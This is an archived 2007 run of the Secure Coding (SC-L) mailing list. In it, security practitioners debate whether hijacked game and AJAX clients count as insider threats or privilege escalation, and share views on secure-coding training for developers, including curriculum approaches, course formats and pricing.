> > Hi sc-l,
> >
> > My darkreading column this month is devoted to insiders, but with a
twist.
> In this article, I argue that software components which run on
> untrusted clients (AJAX anyone?  WoW clients?) are an interesting new
> flavor of insider attack.
> >
> > Check it out:
> > http://www.darkreading.com/document.asp?doc_id=131477&WT.svl=column1
> > _1
> >
> > What do you think?  Is this a logical stretch or something obvious?
> >
> > gem
> >
> > company www.cigital.com
> > podcast www.cigital.com/silverbullet blog
> > www.cigital.com/justiceleague book www.swsec.com
> >
> > _______________________________________________
>
>
> --



--
Pierre Parrend
Ph.D. Student, Teaching Assistant
INRIA-INSA Lyon, France
pierre.parrend at insa-lyon
web : http://www.rzo.free.fr
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From c.mccown at intel.com  Thu Aug 16 19:23:29 2007
From: c.mccown at intel.com (McCown, Christian M)
Date: Thu, 16 Aug 2007 16:23:29 -0700
Subject: [SC-L] Software Security Training for Developers
Message-ID: <E47BF8624D32E7409D03C3CBB65D8A94040956DF@fmsmsx419.amr.corp.intel.com>


What are folks' experiences with software security training for
developers?  By this, I'm referring to teaching developers how to write
secure code.  Ex. things like how to actually code input validation
routines, what "evil" functions and libraries to avoid, how to handle
exceptions without divulging too much info, etc.  Not "how to hack
applications".  There are quality courses and training that show you how
to break into apps--which are great, but my concern is that if you are a
developer (vs. a security analyst, QA type, pen-tester, etc.),even when
you know what could happen, unless you've been specifically taught how
to implement these concepts  in your language/platform of choice (ASP
.NET, C#, Java, etc.), you're not getting the most bang for the buck
from them.


What vendors teach it?
How much does it cost?
Actual impact realized?

Tx

____
Chris McCown, GSEC(Gold)
Intel Corporation
* (916) 377-9428 | * c.mccown at intel.com

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070816/19f76e15/attachment-0001.html 

From michaelslists at gmail.com  Thu Aug 16 19:44:47 2007
From: michaelslists at gmail.com (silky)
Date: Fri, 17 Aug 2007 09:44:47 +1000
Subject: [SC-L] Insider threats and software
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA2AC9447DB9@va-mailhub.cigital.com>
References: <5e01c29a0708141644sd866ba1q845b6ba3cda21bd7@mail.gmail.com>
	<41945506397C0C4886A8C5BFF089B5CA2AC9447DB9@va-mailhub.cigital.com>
Message-ID: <5e01c29a0708161644i5bb075f5i41d982afad58f365@mail.gmail.com>

On 8/17/07, Gary McGraw <gem at cigital.com> wrote:
> Hi,
>
> The point here is NOT to pull a person-in-the-middle attack against the protocol, but rather to subvert the client completely and have the subverted client do all of your talking for you.  The most advanced (game)bot techniques that we describe in EOG work by shimming (in an almost invisible way) the game client, then setting up a communication channel with another processor after a hardware interrupt in the main game thread is thrown.  For those of you with the book, see pages 228-230.
>
> A less hairy approach is to attach to the game client as a debugger and just call methods like there's no tomorrow.  The only problem with that approach is it is like stomping around in the mud puddle and you are likely to be detected.
>
> Effectively then, you ARE the client.  That's why I think it's more of an "insider" attack
> than your standard BO sploit.

how is this different then sending malformed packets to an rpc
interface? the rpc would normally take it's protocol from some app;
but what you, as the smart attacker, have done is to review the app,
exploit it's weakness's in client-side protocol assumptions (client
will always send correctly formed packets) and profit. seems like the
classic remote exploit development strategy.

you are also 'mixing in' a "bot" as an "exploit". it's not an exploit
of the game in terms of compromising it, what you're actually
compromising if the in-game protocols (not
out-of-game-and-operating-system protocols).

for example, there is a korean game for which you can buy a physical
device that you attach to your mouse that plays the game for you. what
sort of attack is this? it isn't any sort of classical attack. it's a
automation of the game. which is a problem; granted, but not an
'insider attack'.

why blur the line on what insider attack means? it will only make life
worse/easier for CTO's to fob it off as too hard.

if you specifically define it it can be acted on and solved. expanding
the definition will only complicate matters, imho.



>
> gem
>
> p.s. I added a little bit of data on the justice league blog about this:
> http://www.cigital.com/justiceleague/2007/08/16/software-the-new-insider-threat/
>
>
>
> -----Original Message-----
> From: silky [mailto:michaelslists at gmail.com]
> Sent: Tuesday, August 14, 2007 7:44 PM
> To: Gary McGraw
> Cc: SC-L at securecoding.org
> Subject: Re: [SC-L] Insider threats and software
>
> i really don't see how this is at all an 'insider' attack; given that
> it is the common attack vector for almost every single remote exploit
> strategy; look into the inner protocol of the specific app and form
> your own messages to exploit it.
>
>
>
> On 8/15/07, Gary McGraw <gem at cigital.com> wrote:
> > Hi sc-l,
> >
> > My darkreading column this month is devoted to insiders, but with a twist.  In this article, I argue that software components which run on untrusted clients (AJAX anyone?  WoW clients?) are an interesting new flavor of insider attack.
> >
> > Check it out:
> > http://www.darkreading.com/document.asp?doc_id=131477&WT.svl=column1_1
> >
> > What do you think?  Is this a logical stretch or something obvious?
> >
> > gem
> >
> > company www.cigital.com
> > podcast www.cigital.com/silverbullet
> > blog www.cigital.com/justiceleague
> > book www.swsec.com
> >
> > _______________________________________________
> > Secure Coding mailing list (SC-L) SC-L at securecoding.org
> > List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> > List charter available at - http://www.securecoding.org/list/charter.php
> > SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> > as a free, non-commercial service to the software security community.
> > _______________________________________________
> >
>
>
> --
> mike
> http://lets.coozi.com.au/
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>


-- 
mike
http://lets.coozi.com.au/

From nish at securitycompass.com  Thu Aug 16 23:21:12 2007
From: nish at securitycompass.com (Nish Bhalla)
Date: Thu, 16 Aug 2007 23:21:12 -0400
Subject: [SC-L] Software Security Training for Developers
In-Reply-To: <E47BF8624D32E7409D03C3CBB65D8A94040956DF@fmsmsx419.amr.corp.intel.com>
References: <E47BF8624D32E7409D03C3CBB65D8A94040956DF@fmsmsx419.amr.corp.intel.com>
Message-ID: <010501c7e07d$aab7bb10$e501a8c0@test>

Hi Chris,

 

We at Security Compass have been doing that for developers for about 2 years
now. We have done this type of training and also the training from the pen
tester angle. 

 

Some of the things that we have seem make this training much more effective
are

 

[] If the direction for the training and security initiative is coming in
from the top rather than just from one manager (not to say that having it
from one manager doesn't help)

[] If there are some general policy and guidelines to building secure
software

[] If there are general guidelines to build secure architecture

[] if there are though processes in place for updating the existing SDLC
with security in place to improve the overall direction of the company
towards a more secure application development practice

[] Finally if the training is developed around these kind of practices and
customized to your specific environment.

 

We also think providing different kinds of training for different levels of
people is important, i.e. a training for managers, a training for
architects, a training for QA/Security professionals and finally a training
for developers. Each has a specific goal in mind and speaking in the
individual language so to speak to each group.

 

Hope this helps, If you would like to chat more just email me.

 

Nish.

 

  _____  

From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of McCown, Christian M
Sent: Thursday, August 16, 2007 7:23 PM
To: sc-l at securecoding.org
Subject: [SC-L] Software Security Training for Developers

 

 

What are folks' experiences with software security training for developers?
By this, I'm referring to teaching developers how to write secure code.  Ex.
things like how to actually code input validation routines, what "evil"
functions and libraries to avoid, how to handle exceptions without divulging
too much info, etc.  Not "how to hack applications".  There are quality
courses and training that show you how to break into apps--which are great,
but my concern is that if you are a developer (vs. a security analyst, QA
type, pen-tester, etc.),even when you know what could happen, unless you've
been specifically taught how to implement these concepts  in your
language/platform of choice (ASP .NET, C#, Java, etc.), you're not getting
the most bang for the buck from them.

 

What vendors teach it? 
How much does it cost? 
Actual impact realized? 

Tx 

____ 
Chris McCown, GSEC(Gold) 
Intel Corporation 
* (916) 377-9428 | *  <mailto:c.mccown at intel.com> c.mccown at intel.com 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070816/cc646e8b/attachment.html 

From gem at cigital.com  Fri Aug 17 09:02:46 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 17 Aug 2007 09:02:46 -0400
Subject: [SC-L] Insider threats and software {darkreading thread}
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC9447E29@va-mailhub.cigital.com>

Hi all,

As is often the case with these darkreading things, we have two discussion threads going.  Those of you interested in a very well thought out counter argument to my position should read kevin's excellent posting on darkreading.

http://www.darkreading.com/boards/messages.asp?thread_id=165118&msg_id=147279&t=true#msg_147279

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com

-----Original Message-----
From: Wall, Kevin [mailto:Kevin.Wall at qwest.com]
Sent: Friday, August 17, 2007 1:38 AM
To: Gary McGraw
Subject: Posted thread on your Dark Reading column (was "RE: [SC-L] Insider threats and software")

Hi Gary,

Our Exchange server was down for awhile so rather than posting
a reply to your post on SC-L, I simply created a reply thread
on your Dark Reading column.

Given that, I'm not sure that it's worth posting to SC-L too.
Give it a read and see what you think. Or maybe they could just
be referred to the URL if you think it actually contributes
anything of value.

Cheers (or is that beers?),
-kevin
---
Kevin W. Wall           Qwest Information Technology, Inc.
Kevin.Wall at qwest.com    Phone: 614.215.4788
"The reason you have people breaking into your software all
over the place is because your software sucks..."
 -- Former White House cyber-security adviser, Richard Clarke,
    at eWeek Security Summit


This communication is the property of Qwest and may contain confidential or
privileged information. Unauthorized use of this communication is strictly
prohibited and may be unlawful.  If you have received this communication
in error, please immediately notify the sender by reply e-mail and destroy
all copies of the communication and any attachments.


From SMigues at cigital.com  Fri Aug 17 11:09:57 2007
From: SMigues at cigital.com (Sammy Migues)
Date: Fri, 17 Aug 2007 11:09:57 -0400
Subject: [SC-L] Software Security Training for Developers
In-Reply-To: <E47BF8624D32E7409D03C3CBB65D8A94040956DF@fmsmsx419.amr.corp.intel.com>
References: <E47BF8624D32E7409D03C3CBB65D8A94040956DF@fmsmsx419.amr.corp.intel.com>
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC9447E94@va-mailhub.cigital.com>

Hi Chris,

My experience is that, like most engineers, most software developers want to improve their skills and that, as a group, they hate making easily-avoidable mistakes of any sort. Training that focuses on reinforcing their existing skills in design and development and then works methodically to give them the extra layer of knowledge to make the code not only function, but also behave with respect to security, is almost always well received. Any training that comes across as, "You're doing it wrong, stop everything and do it this way" will almost always be ignored. No one has time for that.

Internal groups and others who are getting started in developer training tend to create "bug parade" kinds of materials. You'll see slide after slide of five-line code snippets while the instructor says "That's wrong, don't do that." That kind of mistake detection is often so easily automatable these days, that buying or building training for it, and taking all your developers out of action for a day or two to run through it, may not be the best choice.

As you alluded to, we need to teach developers how to actually write secure code. The problem, however, is that the march of development methods, languages, frameworks, architectures, and so on means there usually cannot be a single approach for, by way of example, coding input validation routines. On the whole, the industry is at the stage where we need to teach developers to recognize situations where "security goes here," and give them the reasoning skills and prescriptive guidance to code their way out of the problem in their particular environment.

This kind of defensive programming training seems to be most valuable these days and it takes real experience and real experts to create and deliver such material.

Meanwhile, it takes more than educated developers to produce software that behaves appropriately in the face of attack. The requirements people also need some help and it's unlikely the business analysts, the architects, and the testers are sufficiently considering the non-functional security aspects of the thing they are trying to bring to life. Of cause, the operations folks also need to understand their part in the "secure software" lifecycle. In addition, executives need to understand how to govern and managers need to understand how to facilitate.

By way of full disclosure, I've spent a great deal of time building such a cross-cutting curriculum at Cigital, which we've delivered to a variety of financial services, independent software vendor, and other organizations.

As for pricing, I've seen everything from a few hundred dollars per person for material you could effectively download yourself to $12,000 or more per day for a few slides and one big exercise that may have nothing to do with a group's particular needs. I've also seen a few examples of some really good stuff that just "speaks to me." Organizations must make sure they're getting an instructor that thoroughly understands the material and that they've worked with the training provider to ensure the material is appropriately customized to their needs.

Effectiveness is in the eye of the beholder. The actual impact of developer training alone may take months to show up in even the most mature dashboard. More broad training across each of the key roles, appropriately supported by prescriptive guidance and automation, has historically shown a recognizable impact (e.g., finding many more security-related bugs much earlier in the SDLC) much more quickly.

I recently put together some (long) thoughts on an approach for training. You can see them at http://www.cigital.com/justiceleague/2007/06/25/training-material-training-and-behavior-modification-part-1-of-3-%e2%80%93-training-material/.


--Sammy.

Sammy Migues
Director, Knowledge Management and Training
703.404.5830 - http://www.cigital.com<http://www.cigital.com/>


________________________________
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of McCown, Christian M
Sent: Thursday, August 16, 2007 7:23 PM
To: sc-l at securecoding.org
Subject: [SC-L] Software Security Training for Developers



What are folks' experiences with software security training for developers?  By this, I'm referring to teaching developers how to write secure code.  Ex. things like how to actually code input validation routines, what "evil" functions and libraries to avoid, how to handle exceptions without divulging too much info, etc.  Not "how to hack applications".  There are quality courses and training that show you how to break into apps--which are great, but my concern is that if you are a developer (vs. a security analyst, QA type, pen-tester, etc.),even when you know what could happen, unless you've been specifically taught how to implement these concepts  in your language/platform of choice (ASP .NET, C#, Java, etc.), you're not getting the most bang for the buck from them.


What vendors teach it?
How much does it cost?
Actual impact realized?

Tx

____
Chris McCown, GSEC(Gold)
Intel Corporation
* (916) 377-9428 | * c.mccown at intel.com<mailto:c.mccown at intel.com>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070817/d692c31c/attachment.html 

From paco at cigital.com  Fri Aug 17 10:24:02 2007
From: paco at cigital.com (Paco Hope)
Date: Fri, 17 Aug 2007 10:24:02 -0400
Subject: [SC-L] Insider threats and software
In-Reply-To: <5e01c29a0708161644i5bb075f5i41d982afad58f365@mail.gmail.com>
Message-ID: <C2EB27C2.EA86%paco@cigital.com>

On 8/16/07 7:44 PM, "silky" <michaelslists at gmail.com> wrote:

how is this different then sending malformed packets to an rpc interface?

That is the key question. It's different because nothing in the packets is malformed! They were correctly assembled by the client, sent at the right time in game play, and are semantically legal in every way. The vital distinction is that programmers assume only their own code will call a certain API, and therefore issue a certain message from the client to the server. When you hijack the client, you make the client correctly form messages for you. You just supply unexpected parameters, or send messages in an order that would never normally occur. Furthermore, if there's a little back and forth between the server and the client as a result of your messages, the client handles it automatically for you because it is operating normally (albeit under the influence).

Now I'll gently disagree with Gary, who is my boss, so you know I'll hear about it in the hallways... I think this feels more like "privilege escalation" than "insider threat." The distinction being that these attacks allow an authorized user who has liimited privileges to escalate their privileges and do things that they shouldn't be able to do. An insider (to me) is a person who already had that privilege and status when they started their attack. (Read Kevin Wall's follow-up on darkreading.com he has good things to say on who are insiders and outsiders).  Where we are prone to confusion, I think, is that outsiders or limited authorized users can have the same IMPACT as an insider, when the privilege escalation is sufficiently bad.

So we might say they became an insider by virtue of their attack. I think that's playing a bit fast and loose with language. We could say they became the EQUIVALENT of an insider (possibly in a very narrow scenario) and that might be a bit more accurate.

Let me go out on a limb and say the following: the designation of "insider" is almost always due to contractual relationships. I.e. you've been hired, you've been subcontracted, assigned, or somehow formally granted access to something. You can't hack your way to insider status (unless you hack HR and make yourself an employee. :). You can hack your way to the equivalent of an insider, but you're still an outsider whose privileges have been escalated.

Thoughts?
Paco
--
Paco Hope, CISSP
Technical Manager, Cigital, Inc
http://www.cigital.com/ * +1.703.404.5769
Software Confidence. Achieved.


From yo at secappdev.org  Sun Aug 19 14:51:00 2007
From: yo at secappdev.org (Johan Peeters)
Date: Sun, 19 Aug 2007 20:51:00 +0200
Subject: [SC-L] Software Security Training for Developers
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA2AC9447E94@va-mailhub.cigital.com>
References: <E47BF8624D32E7409D03C3CBB65D8A94040956DF@fmsmsx419.amr.corp.intel.com>
	<41945506397C0C4886A8C5BFF089B5CA2AC9447E94@va-mailhub.cigital.com>
Message-ID: <25b6e5cf0708191151p5975e012pb18e69b9d021d747@mail.gmail.com>

>From my experience with secappdev.org (http://secappdev.org), a
not-for-profit organization set up to create security awareness and
improve skills in the developer community, I find myself in agreement
with many of the points that Sammy raises.
Development is not only about coding. secappdev tends to pay
relatively little attention to coding; adoption of new technologies
offering novel opportunities to shoot yourself in the foot is so
rapid, platforms so varied and applications so different that we have
found teaching secure software engineering principles to be a better
investment for both students and teachers alike. While it is certainly
true that what ultimately matters is the code, conventional wisdom has
it that coding only accounts for about 20% of the development effort.
The rest of the time is spent in specification, design, test,
deployment and project management. We feel it is counter-productive to
draw sharp distinctions between these various activities, they all
need to be done well to deliver a succesful project. So we spend
considerable time looking at their security implications.

Apart from chiming in with Sammy, I would also like to point out that
our target audience are application developers and their main focus is
definitely not security, nor should it be: their job is to create
value by adding functionality. Rather than teaching them to become
security experts, we try to teach them strategies for getting away
with as little security knowledge as possible so that they can focus
on their core concerns.
So one of the things we do is to make sure that participants have a
good grasp of the security services offered by application platforms.
An example of an architectural level discussion would be the choice of
platform and its impact on security as well as how to mitigate the
risks.

Effective security teaching imparts a mindset, the body of knowledge
is incidental. So we have a strong commitment to teach small groups
with plenty of opportunity for interaction and immersion. At the next
presentation, we are increasing the number of workshop sessions
requiring participants to actively participate in problem-solving.

So far, all secappdev.org presentations have been in Belgium and that
may be a little out of the way for some/most of you. However,
recordings of most of the last presentation are available from the web
pages with the descriptions of individual sessions - mail me if you
need fuller instructions.
The next presentation is planned for the week starting March 3rd 2008.
This will be a dual-track event. I hope to be able to publish the
program very soon.

kr,

Yo

On 8/17/07, Sammy Migues <SMigues at cigital.com> wrote:
>
> Hi Chris,
>
> My experience is that, like most engineers, most software developers want to
> improve their skills and that, as a group, they hate making easily-avoidable
> mistakes of any sort. Training that focuses on reinforcing their existing
> skills in design and development and then works methodically to give them
> the extra layer of knowledge to make the code not only function, but also
> behave with respect to security, is almost always well received. Any
> training that comes across as, "You're doing it wrong, stop everything and
> do it this way" will almost always be ignored. No one has time for that.
>
> Internal groups and others who are getting started in developer training
> tend to create "bug parade" kinds of materials. You'll see slide after slide
> of five-line code snippets while the instructor says "That's wrong, don't do
> that." That kind of mistake detection is often so easily automatable these
> days, that buying or building training for it, and taking all your
> developers out of action for a day or two to run through it, may not be the
> best choice.
>
> As you alluded to, we need to teach developers how to actually write secure
> code. The problem, however, is that the march of development methods,
> languages, frameworks, architectures, and so on means there usually cannot
> be a single approach for, by way of example, coding input validation
> routines. On the whole, the industry is at the stage where we need to teach
> developers to recognize situations where "security goes here," and give them
> the reasoning skills and prescriptive guidance to code their way out of the
> problem in their particular environment.
>
> This kind of defensive programming training seems to be most valuable these
> days and it takes real experience and real experts to create and deliver
> such material.
>
> Meanwhile, it takes more than educated developers to produce software that
> behaves appropriately in the face of attack. The requirements people also
> need some help and it's unlikely the business analysts, the architects, and
> the testers are sufficiently considering the non-functional security aspects
> of the thing they are trying to bring to life. Of cause, the operations
> folks also need to understand their part in the "secure software" lifecycle.
> In addition, executives need to understand how to govern and managers need
> to understand how to facilitate.
>
> By way of full disclosure, I've spent a great deal of time building such a
> cross-cutting curriculum at Cigital, which we've delivered to a variety of
> financial services, independent software vendor, and other organizations.
>
> As for pricing, I've seen everything from a few hundred dollars per person
> for material you could effectively download yourself to $12,000 or more per
> day for a few slides and one big exercise that may have nothing to do with a
> group's particular needs. I've also seen a few examples of some really good
> stuff that just "speaks to me." Organizations must make sure they're getting
> an instructor that thoroughly understands the material and that they've
> worked with the training provider to ensure the material is appropriately
> customized to their needs.
>
> Effectiveness is in the eye of the beholder. The actual impact of developer
> training alone may take months to show up in even the most mature dashboard.
> More broad training across each of the key roles, appropriately supported by
> prescriptive guidance and automation, has historically shown a recognizable
> impact (e.g., finding many more security-related bugs much earlier in the
> SDLC) much more quickly.
>
> I recently put together some (long) thoughts on an approach for training.
> You can see them at
> http://www.cigital.com/justiceleague/2007/06/25/training-material-training-and-behavior-modification-part-1-of-3-%e2%80%93-training-material/.
>
>
> --Sammy.
>
> Sammy Migues
> Director, Knowledge Management and Training
> 703.404.5830 - http://www.cigital.com
>
>
> ________________________________
> From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
> On Behalf Of McCown, Christian M
> Sent: Thursday, August 16, 2007 7:23 PM
> To: sc-l at securecoding.org
> Subject: [SC-L] Software Security Training for Developers
>
>
>
>
> What are folks' experiences with software security training for developers?
> By this, I'm referring to teaching developers how to write secure code.  Ex.
> things like how to actually code input validation routines, what "evil"
> functions and libraries to avoid, how to handle exceptions without divulging
> too much info, etc.  Not "how to hack applications".  There are quality
> courses and training that show you how to break into apps--which are great,
> but my concern is that if you are a developer (vs. a security analyst, QA
> type, pen-tester, etc.),even when you know what could happen, unless you've
> been specifically taught how to implement these concepts  in your
> language/platform of choice (ASP .NET, C#, Java, etc.), you're not getting
> the most bang for the buck from them.
>
>
> What vendors teach it?
> How much does it cost?
> Actual impact realized?
>
> Tx
>
> ____
> Chris McCown, GSEC(Gold)
> Intel Corporation
> ( (916) 377-9428 | * c.mccown at intel.com
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at -
> http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>
>


-- 
Johan Peeters
http://johanpeeters.com

From yo at secappdev.org  Mon Aug 20 16:52:27 2007
From: yo at secappdev.org (Johan Peeters)
Date: Mon, 20 Aug 2007 22:52:27 +0200
Subject: [SC-L] Software Security Training for Developers
In-Reply-To: <200708201808.l7KI8mme007947@rtp-core-2.cisco.com>
References: <E47BF8624D32E7409D03C3CBB65D8A94040956DF@fmsmsx419.amr.corp.intel.com>
	<41945506397C0C4886A8C5BFF089B5CA2AC9447E94@va-mailhub.cigital.com>
	<25b6e5cf0708191151p5975e012pb18e69b9d021d747@mail.gmail.com>
	<200708201808.l7KI8mme007947@rtp-core-2.cisco.com>
Message-ID: <25b6e5cf0708201352x7c838c1i175aa84a72c633b7@mail.gmail.com>

On 8/20/07, Hollis via Rubicon Recluse <hollis at rubiconrecluse.com> wrote:
> Hi Sammie and Yo,
>
> Tkx for the good highlevel insights. A few
> questions, I'm interested specifically for
> developer/designers, but I'm sure others are interested in other audiences:
>
> - What languages/OS/environments are you developing in?

On the one hand, we would like to be technology-neutral, on the other,
we want to teach people about real-world technologies and security
issues, so we tend to cherry-pick technologies to suit the purposes of
the principles we are trying to illustrate. For example, the access
control module has tended to have a lot on Windows because their model
is somewhat richer than the Unices'. Language-based security
mechanisms discussions, on the other hand, have focused mainly on Java
because of their seminal significance.

> - Does your training address your
> language/OS/environment? If so, what percentage?

At the last presentation, 25-30%% of the time was spent on the
infrastructure at the disposal of the developer, including
language-based, OS, middleware and  cryptography.

> - How long is the/each course?
> - did you go with inclass, self-paced, JIT or a
> combination. And which aspects to each?

The secappdev courses take one week in-class, but, as I mentioned,
recordings are mostly available on-line, giving the opportunity for
self-paced or JIT study. Let me also clarify that secappdev.org only
offers public courses, so, as an organization, we are not in a
position to taylor content to the specific needs of a particular
project though a number of the people on the secappdev faculty would
take on such assignments.

> - What is your audience size? And what percentage did you train?

I am not sure that I understand your question. We have limited the
number of participants to 25 in the past. At the last presentation,
all these seats were taken. We are now increasing the number of places
offered to 50, but offering a dual track course so that, in a sell-out
scenario, the average class size will again be 25.

> - Over what period of time?
> - Was it mandatory? And to Sammy's point, at what
> management level was it loudly supported?
>
> Thanks for your insights,
> Hollis
>
> At 11:51 AM 8/19/2007, Johan Peeters wrote:
> > >From my experience with secappdev.org (http://secappdev.org), a
> >not-for-profit organization set up to create security awareness and
> >improve skills in the developer community, I find myself in agreement
> >with many of the points that Sammy raises.
> >Development is not only about coding. secappdev tends to pay
> >relatively little attention to coding; adoption of new technologies
> >offering novel opportunities to shoot yourself in the foot is so
> >rapid, platforms so varied and applications so different that we have
> >found teaching secure software engineering principles to be a better
> >investment for both students and teachers alike. While it is certainly
> >true that what ultimately matters is the code, conventional wisdom has
> >it that coding only accounts for about 20% of the development effort.
> >The rest of the time is spent in specification, design, test,
> >deployment and project management. We feel it is counter-productive to
> >draw sharp distinctions between these various activities, they all
> >need to be done well to deliver a succesful project. So we spend
> >considerable time looking at their security implications.
> >
> >Apart from chiming in with Sammy, I would also like to point out that
> >our target audience are application developers and their main focus is
> >definitely not security, nor should it be: their job is to create
> >value by adding functionality. Rather than teaching them to become
> >security experts, we try to teach them strategies for getting away
> >with as little security knowledge as possible so that they can focus
> >on their core concerns.
> >So one of the things we do is to make sure that participants have a
> >good grasp of the security services offered by application platforms.
> >An example of an architectural level discussion would be the choice of
> >platform and its impact on security as well as how to mitigate the
> >risks.
> >
> >Effective security teaching imparts a mindset, the body of knowledge
> >is incidental. So we have a strong commitment to teach small groups
> >with plenty of opportunity for interaction and immersion. At the next
> >presentation, we are increasing the number of workshop sessions
> >requiring participants to actively participate in problem-solving.
> >
> >So far, all secappdev.org presentations have been in Belgium and that
> >may be a little out of the way for some/most of you. However,
> >recordings of most of the last presentation are available from the web
> >pages with the descriptions of individual sessions - mail me if you
> >need fuller instructions.
> >The next presentation is planned for the week starting March 3rd 2008.
> >This will be a dual-track event. I hope to be able to publish the
> >program very soon.
> >
> >kr,
> >
> >Yo
> >
> >On 8/17/07, Sammy Migues <SMigues at cigital.com> wrote:
> > >
> > > Hi Chris,
> > >
> > > My experience is that, like most engineers,
> > most software developers want to
> > > improve their skills and that, as a group,
> > they hate making easily-avoidable
> > > mistakes of any sort. Training that focuses on reinforcing their existing
> > > skills in design and development and then works methodically to give them
> > > the extra layer of knowledge to make the code not only function, but also
> > > behave with respect to security, is almost always well received. Any
> > > training that comes across as, "You're doing it wrong, stop everything and
> > > do it this way" will almost always be ignored. No one has time for that.
> > >
> > > Internal groups and others who are getting started in developer training
> > > tend to create "bug parade" kinds of
> > materials. You'll see slide after slide
> > > of five-line code snippets while the
> > instructor says "That's wrong, don't do
> > > that." That kind of mistake detection is often so easily automatable these
> > > days, that buying or building training for it, and taking all your
> > > developers out of action for a day or two to run through it, may not be the
> > > best choice.
> > >
> > > As you alluded to, we need to teach developers how to actually write secure
> > > code. The problem, however, is that the march of development methods,
> > > languages, frameworks, architectures, and so on means there usually cannot
> > > be a single approach for, by way of example, coding input validation
> > > routines. On the whole, the industry is at the stage where we need to teach
> > > developers to recognize situations where
> > "security goes here," and give them
> > > the reasoning skills and prescriptive guidance to code their way out of the
> > > problem in their particular environment.
> > >
> > > This kind of defensive programming training seems to be most valuable these
> > > days and it takes real experience and real experts to create and deliver
> > > such material.
> > >
> > > Meanwhile, it takes more than educated developers to produce software that
> > > behaves appropriately in the face of attack. The requirements people also
> > > need some help and it's unlikely the business analysts, the architects, and
> > > the testers are sufficiently considering the
> > non-functional security aspects
> > > of the thing they are trying to bring to life. Of cause, the operations
> > > folks also need to understand their part in
> > the "secure software" lifecycle.
> > > In addition, executives need to understand how to govern and managers need
> > > to understand how to facilitate.
> > >
> > > By way of full disclosure, I've spent a great deal of time building such a
> > > cross-cutting curriculum at Cigital, which we've delivered to a variety of
> > > financial services, independent software vendor, and other organizations.
> > >
> > > As for pricing, I've seen everything from a few hundred dollars per person
> > > for material you could effectively download yourself to $12,000 or more per
> > > day for a few slides and one big exercise
> > that may have nothing to do with a
> > > group's particular needs. I've also seen a few examples of some really good
> > > stuff that just "speaks to me." Organizations
> > must make sure they're getting
> > > an instructor that thoroughly understands the material and that they've
> > > worked with the training provider to ensure the material is appropriately
> > > customized to their needs.
> > >
> > > Effectiveness is in the eye of the beholder. The actual impact of developer
> > > training alone may take months to show up in
> > even the most mature dashboard.
> > > More broad training across each of the key
> > roles, appropriately supported by
> > > prescriptive guidance and automation, has historically shown a recognizable
> > > impact (e.g., finding many more security-related bugs much earlier in the
> > > SDLC) much more quickly.
> > >
> > > I recently put together some (long) thoughts on an approach for training.
> > > You can see them at
> > >
> > http://www.cigital.com/justiceleague/2007/06/25/training-material-training-and-behavior-modification-part-1-of-3-%e2%80%93-training-material/.
> > >
> > >
> > > --Sammy.
> > >
> > > Sammy Migues
> > > Director, Knowledge Management and Training
> > > 703.404.5830 - http://www.cigital.com
> > >
> > >
> > > ________________________________
> > > From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
> > > On Behalf Of McCown, Christian M
> > > Sent: Thursday, August 16, 2007 7:23 PM
> > > To: sc-l at securecoding.org
> > > Subject: [SC-L] Software Security Training for Developers
> > >
> > >
> > >
> > >
> > > What are folks' experiences with software security training for developers?
> > > By this, I'm referring to teaching developers
> > how to write secure code.  Ex.
> > > things like how to actually code input validation routines, what "evil"
> > > functions and libraries to avoid, how to
> > handle exceptions without divulging
> > > too much info, etc.  Not "how to hack applications".  There are quality
> > > courses and training that show you how to break into apps--which are great,
> > > but my concern is that if you are a developer (vs. a security analyst, QA
> > > type, pen-tester, etc.),even when you know what could happen, unless you've
> > > been specifically taught how to implement these concepts  in your
> > > language/platform of choice (ASP .NET, C#, Java, etc.), you're not getting
> > > the most bang for the buck from them.
> > >
> > >
> > > What vendors teach it?
> > > How much does it cost?
> > > Actual impact realized?
> > >
> > > Tx
> > >
> > > ____
> > > Chris McCown, GSEC(Gold)
> > > Intel Corporation
> > > ( (916) 377-9428 | * c.mccown at intel.com
> > > _______________________________________________
> > > Secure Coding mailing list (SC-L) SC-L at securecoding.org
> > > List information, subscriptions, etc -
> > > http://krvw.com/mailman/listinfo/sc-l
> > > List charter available at -
> > > http://www.securecoding.org/list/charter.php
